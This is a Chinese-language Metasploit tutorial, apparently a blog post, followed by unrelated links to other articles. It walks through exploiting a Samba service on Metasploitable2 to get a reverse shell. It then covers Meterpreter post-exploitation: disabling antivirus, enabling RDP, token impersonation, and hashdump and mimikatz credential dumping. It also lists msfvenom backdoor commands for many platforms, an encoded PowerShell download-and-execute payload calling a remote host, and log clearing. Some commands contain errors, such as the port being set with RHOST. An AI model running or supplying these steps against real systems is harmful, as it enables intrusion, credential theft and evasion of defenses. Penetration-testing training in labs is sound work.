Metasploit简介

1. Auxiliaries(辅助模块)

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

2. Exploit(漏洞利用模块)

漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码

3. Payload(攻击载荷模块)

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行些命令,如添加用户账号等

4.Post(后期渗透模块)

该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。

5. Encoders(编码工具模块)
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。

6. 渗透攻击步骤

使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察并发动攻击,大致的步骤如下所示。

  • 扫描目标机系统,寻找可用漏洞。
  • 选择并配置一个漏洞利用模块。
  • 选择并配置一个攻击载荷模块。
  • 选择一个编码技术,用来绕过杀毒软件的查杀
  • 渗透攻击。

主机扫描

使用辅助模块进行端口扫描

辅助模块是 Metasploite的内置模块,首先利用 search命令搜索有哪些可用端口模块

portscan

下面以 TCP描模块举例。输入use命令即可使用该漏洞利用模块,使用 show options命令查看需要设置的参数

在 Required列中,被标记为yes的参数必须包含实际的值,

其中 RHOSTS设置待扫描的IP地址、

PORTS设置扫描端口范围、

THREADS设置扫描线程,线程数量越高,扫描的速度越多。

我们使用set命令设置相应的参数,也可以使用 unset命令取消某个参数值的设置。

使用辅助模块进行服务扫描

在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。

使用Nmap扫描

在 Metasploit中同样可以使用Nmap扫描

实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表

现在我们要获取目标主机的操作系统,输入nmap -O -Pn/-p0 URl命令,其中Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现

漏洞利用Metasploitable2

首先对 Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序

收集到目标机相关信息后,为其选择正确的 Exploit和合适的 Payload。从扫描结東中发现主机运行着 Samba3x服务。Samba是在inux和UNX系统上实现SMB( Server Messages Block,信息服务块)协议的一款兔费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用 Linux和 Windows系统的机器之间提供文件及打印机等资源的共享服务。

输入msf> search samba命令搜索 Samba的漏洞利用模块,并选择合适的漏洞利用模块

然后 Samba服务将返回漏洞利用模块的列表,按照各个漏洞被利用成功的相对难易度进行排序

因为 exploit/ multi/ samba/ usermap_script被标记为" Excellent”,即最杰出而且时间是最新的,为提高渗透成功率,这里选择此模块进行接下来的渗透有关漏洞的详细信息可以通过info命令查看

输入以下命令即可使用该漏洞利用模块use 13

使用show payloads命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是 Linux机器,因此一定要选择 Linux的攻击载荷。

这里使用set PAYLOAD cmd/unix/reverse命令选择基础的cmd/unix/reverse反向攻击载荷模块

设置被攻击主机IP地址,命令如下所示
msf exploit (usermap script)> set RHOST 192.168.200.25
设置漏洞利用的端口号,命令如下所示。
msf exploit(usermap script)> set RHOST 445
设置发动攻击主机IP地址,命令如下所示
msf exploit (usermap script)> set LHOST 192.168.200.6

攻击成功后,可以看到在攻击机和目标机之间会建立一个Shel连接,渗透Windows系统的过程类似,唯一的差别是选择的漏洞利用模块和攻击载荷模块不ー样。

后渗透攻击:信息收集

成功地对目标机器攻击渗透后还可以做什么? Metasploit提供了ー个非常强大的后渗透工具- Meterpreter.该工具具有多重功能,使后续的渗透入侵变得更容易。获取目标机的 Meterpreter Shell后,就进入了 Metasploit最精彩的后期渗透利用阶段,后期渗透模块有200多个, Meterpreterf有以下优势。

  • 纯内存工作模式,不需要对磁盘进行任何写入操作
  • 使用加密通信协议,而且可以同时与几个信道通信。
  • 在被攻击进程内工作,不需要创建新的进程
  • 易于在多进程之间迁移
  • 平台通用,适用于 Windows、 Linux、BSD系统,并支持 Intel X86和 Intelx64平台。

进程迁移

在刚获得 Meterpreter Shell时,该Shel是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个 Shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。

输入ps命令获取目标机正在运行的进程

输入 getpid命令直看 Meterpreter Shell的进程号

可以看到 Meterpreter Shell进程的PID为1552,Name为shell.exe,然后输入migrate 296命令把Shel移动到PID为296的 taskhost. exe进程里,因为该进程是一个稳定的应用。

migrate 296 

完成进程迁移后,再次输入 getpid命令查看 Meterpreter Shell的进程号,发现PID已经变成了296,说明已经成功迁移到 taskhost.exe进程里

进程迁移完成后,原先PID为1552的进程会自动关闭,如果没有自动关闭可以输入kill 1522命令“杀掉”该进程。

使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移1

run post/windows/manage/migrate

 

系统命令

先收集系统信息

sysinfo

 

检查目标机是否运行在虚拟机上

run post/windows/gather/checkvm

 

可以看到目标机运行在VMware虚拟机上

现在检查目标机是否正在运行,输入命令后可以看到目标机最近的运行时间

idletime

接着查看目标机完整的网络设置

route

输入命令关闭目标机系统杀毒软件

run post/windows/manage/killav

启动目标机的远程桌面协议也就是3389端口

run post/windows/manage/enable_rdp

可以看到,我们已经成功启动了远程桌面

列举当前有多少用户登录了目标机

run post/windows/gather/enum_logged_on_users

可以看到系统有五个用户

列举安装在目标机上的应用程序

run post/windows/gather/enum_applications

输入shell命令进入目标机shell下面

文件系统命令

  •  pwd或 getwd:查看当前处于目标机的哪个目录 

  

  • getlwd:查看当前处于本地的哪个目录

   

  • search -f *.txt -d c:\  可以搜索C盘中所有以"txt"为扩展名的文件,其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索

  • download C:\test.txt /root   下载目标机c盘test文件到攻击机root下

  

  • upload /root/test.php c:\   上传root下testphp文件到c盘

   

后渗透攻击:权限提升

在 Meterpreter Shell下输入shel命令进入目标机的CMD命令行

接着输入 whoami/ groups命令查看我们当前的权限

接着查看系统的已打补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C: windows里留下的补丁号“log"查看目标机大概打了哪些补丁

同样可以看到目标机只打了2个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编 号进行对比。比如 Kitrapod(KB979682)、MS11-011(KB2393802),MS11-080(KB2592799),然后使用没有编号的EXP进行提权。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。

附:部分系统对应的补丁号

getuid    //查看当前权限
getsystem //获取system权限

  

令牌窃取

令牌( Token)就是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动

我们先輸入 use incognito命令,然后输入 list_tokens -u  列出可用的 token

可以看到有两种类型的令牌:一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问);

还有一种是 Impersonation tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取決于 MeterpreterShel的访问级别

我们已经获得了一个系统管理员的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。

impersonate_token WIN-2008\\Administrator

  

HASH攻击

使用Hashdump抓取密码

Hashdump Meterpretera脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要想访问就必须有“系统级”账号。所以要使用该命令就必须进行权限的提升在 Meterpreter Shell提示符下输入 hashdumpi命令,将导出目标机sam数据库中的Hash

hashdump

  

使用Mimikatz抓取密码

Metasploiti已经将其作为个 Meterpreterk脚本集成了,以便用户使用,而不需要上传该软件到目标主机上Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透,已经成功获得目标机的 Meterpreter Shell(过程略),当前权限为 Administrator,输getsystem命令获取了系统权限  

获取系统 SYSTEM权限后,首先查看目标机器的架构。虽然 Mimikatzl同时支持32位和64位的 Windowst架构,但如果服务器是64位操作系统,直接使用 Mimikatz后, Meterpretera会默认加载个32位版本的 Mimikatz到内存,使得很多功能无效。而且在64位操作系统下必须先查看系统进程列表,然后在加载 Mimikatz.之前将进程迁移到一个64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入 sysinfo命令查看

64位系统,进程迁移一下

打开mimikatz

load mimikatz

这里显示mimikatz被改名成kiwi

抓取所有信息:系统票据和系统账户信息等

creds_all

还有很多作用以后慢慢研究

 

后渗透攻击:后门

参数说明:

  • –p (- -payload-options) 添加载荷payload。

载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!

  • –e  编码免杀。
  • –f (- -help-formats)输出文件格式。
  • –s   生成payload的最大长度,就是文件大小。
  • –b    避免使用的字符 例如:不使用 ‘\0f’。
  •  –i   编码次数。
  • –c   添加自己的shellcode。
  • –x | -k  捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

PHP后门

在 Metasploit中,有个名为 PHP Meterpreter的 Payload,利用这个模块可创建具有 Meterpreter功能的 PHP Webshell.。在攻击中使用 Metasploit PHP Shell的步骤如下所示

  • 使用 msfvenom创建-个 webshell. php.
  • 上传 webshell.php到目标服务器。
  • 运行 Metasploit multi-handler开始监听。
  • 访问 webshell.php页面。
  • 获得反弹的 Metasploit Shell.

我们可以通过 Metasploitl的 msfvenom工具制作 PHP Meterpreter,命令如下

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > webshell.php

然后将 webshell.php上传到目标服务器,这里因为是虚拟机,所以就直接复制到Kali下的/var/www/html目录,打开 Webshell网址

(打开apache服务 service apache2 start)

接着启动 Msfconsole,使用以下命令设置监听

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run

反弹成功,最后使用msf命令渗透目标主机

 

Windows后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > shell.exe    //32位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port>-f exe > shell.exe //64位

  

Linux后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port> -f elf > shell.elf

  

Asp后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

  

Aspx后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx

  

Bash后门

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh

 

Python后门

msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

  

exe 利用exec执行powershell后门 

msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe

  

清理日志

clearev

 

 

  

Metasploit用法详解的更多相关文章

  1. C#中string.format用法详解

    C#中string.format用法详解 本文实例总结了C#中string.format用法.分享给大家供大家参考.具体分析如下: String.Format 方法的几种定义: String.Form ...

  2. @RequestMapping 用法详解之地址映射

    @RequestMapping 用法详解之地址映射 引言: 前段时间项目中用到了RESTful模式来开发程序,但是当用POST.PUT模式提交数据时,发现服务器端接受不到提交的数据(服务器端参数绑定没 ...

  3. linux管道命令grep命令参数及用法详解---附使用案例|grep

    功能说明:查找文件里符合条件的字符串. 语 法:grep [-abcEFGhHilLnqrsvVwxy][-A<显示列数>][-B<显示列数>][-C<显示列数>] ...

  4. mysql中event的用法详解

    一.基本概念mysql5.1版本开始引进event概念.event既“时间触发器”,与triggers的事件触发不同,event类似与linux crontab计划任务,用于时间触发.通过单独或调用存 ...

  5. CSS中伪类及伪元素用法详解

    CSS中伪类及伪元素用法详解   伪类的分类及作用: 注:该表引自W3School教程 伪元素的分类及作用: 接下来让博主通过一些生动的实例(之前的作业或小作品)来说明几种常用伪类的用法和效果,其他的 ...

  6. c++中vector的用法详解

    c++中vector的用法详解 vector(向量): C++中的一种数据结构,确切的说是一个类.它相当于一个动态的数组,当程序员无法知道自己需要的数组的规模多大时,用其来解决问题可以达到最大节约空间 ...

  7. AngularJS select中ngOptions用法详解

    AngularJS select中ngOptions用法详解   一.用法 ngOption针对不同类型的数据源有不同的用法,主要体现在数组和对象上. 数组: label for value in a ...

  8. systemctl命令用法详解

    systemctl命令用法详解系统环境:Fedora 16binpath:/bin/systemctlpackage:systemd-units systemctl enable httpd.serv ...

  9. CSS3的@keyframes用法详解:

    CSS3的@keyframes用法详解:此属性与animation属性是密切相关的,关于animation属性可以参阅CSS3的animation属性用法详解一章节. 一.基本知识:keyframes ...

随机推荐

  1. windows上传本地项目Github远程仓库(另附设置git网页链接)

    一:关于Windows平台安装git以及github的注册不在详细描述,可以参考如下经验: 安装教程:https://jingyan.baidu.com/article/925f8cb8a8e91cc ...

  2. Jmeter二次开发 java取样器示例

    public SampleResult runTest(JavaSamplerContext javaSamplerContext) { //生成sampleResult对象,用于请求的命名.标记状态 ...

  3. netty系列之:Event、Handler和Pipeline

    目录 简介 ChannelPipeline ChannelHandler ChannelHandlerContext ChannelHandler中的状态变量 异步Handler 总结 简介 上一节我 ...

  4. 造轮子系列之RPC 1:如何从零开始开发RPC框架

    前言 RPC 框架是后端攻城狮永远都绕不开的知识点,目前业界比较知名有 Dubbo.Spring Cloud 等.很多人都停留在了只会用的阶段,作为程序猿,拥有好奇心深入学习,才能有效提高自己的竞争力 ...

  5. js原始数据类型有哪些,引用数据类型有哪些

    js的数据类型划分方式为 原始数据类型和 引用数据类型 栈: 原始数据类型(Undefined,Null,Boolean,Number.String) 堆: 引用数据类型(对象.数组.函数) 两种类型 ...

  6. vulnhub靶机-XXE Lab 1

    目录 信息收集 漏洞利用 信息收集 扫描目标主机,ip为192.168.88.154 nmap扫描结果 存在robots.txt文件.直接访问其中的admin.php显示404,加一层目录访问/xxe ...

  7. HCIA-网络层包结构

    网络层 关心-->转发 IPV4协议 IPV6协议 寻址 转发 标识位置 IPV6: 86DD MAC定位局部 网络定位全局 对于上层数据如果过大,网络层可以分组,实现分组转发 环路:发送了一个 ...

  8. Solidity

    起因是Xenc师傅给我截了张图,我日 居然看不懂 ,一搜才知道,之前学的版本有些老了.. 这次学下新一点的记录下 HelloWorld pragma solidity ^0.6.0; // versi ...

  9. maven将依赖打入jar包中

    1.在pom.xml中加入maven-assembly-plugin插件: <build> <plugins> <plugin> <artifactId> ...

  10. js引用类型深拷贝、浅拷贝方法封装

    引用类型的深拷贝.浅拷贝在前端领域一直是个很重要的知识点,不仅在业务中频繁使用,也是面试官们喜欢考的的知识点之一.本篇将封装引用类型的深拷贝.浅拷贝方法,并解决在封装过程中出现的问题. 一.浅拷贝 浅 ...